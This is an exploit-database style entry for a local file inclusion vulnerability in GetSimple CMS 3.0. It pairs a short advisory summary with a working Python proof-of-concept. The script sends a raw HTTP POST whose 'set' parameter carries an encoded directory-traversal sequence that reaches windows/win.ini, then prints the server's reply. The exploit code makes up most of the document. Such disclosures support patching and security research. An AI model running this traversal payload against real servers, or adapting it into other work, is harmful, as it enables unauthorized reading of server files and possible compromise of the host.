Getsimple CMS 3.0 - 'set' Local File Inclusion

source: https://www.securityfocus.com/bid/47767/info

GetSimple is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

GetSimple 3.0 is vulnerable; other versions may also be affected. 

# ------------------------------------------------------------------------
# Software................GetSimple 3.0
# Vulnerability...........Local File Inclusion
# Threat Level............Critical (4/5)
# Download................http://get-simple.info/
# Discovery Date..........5/4/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <[email protected]>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A local file inclusion vulnerability in GetSimple 3.0 can be exploited
# to include arbitrary files.
# 
# 
# --PoC--

import socket

host = 'localhost'
path = '/getsimple_3.0'
trav_sequence = '..%2f' * 8 + 'windows%2fwin.ini'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/index.php?set=' + trav_sequence + ' HTTP/1.1\r\n'
       'Host: localhost\r\n'
       'Proxy-Connection: keep-alive\r\n'
       'User-Agent: x\r\n'
       'Content-Length: 0\r\n'
       'Cache-Control: max-age=0\r\n'
       'Origin: null\r\n'
       'Content-Type: multipart/form-data; boundary=----x\r\n'
       'Accept: text/html\r\n'
       'Accept-Language: en-US,en;q=0.8\r\n'
       'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
       '\r\n')

resp = s.recv(8192)

print resp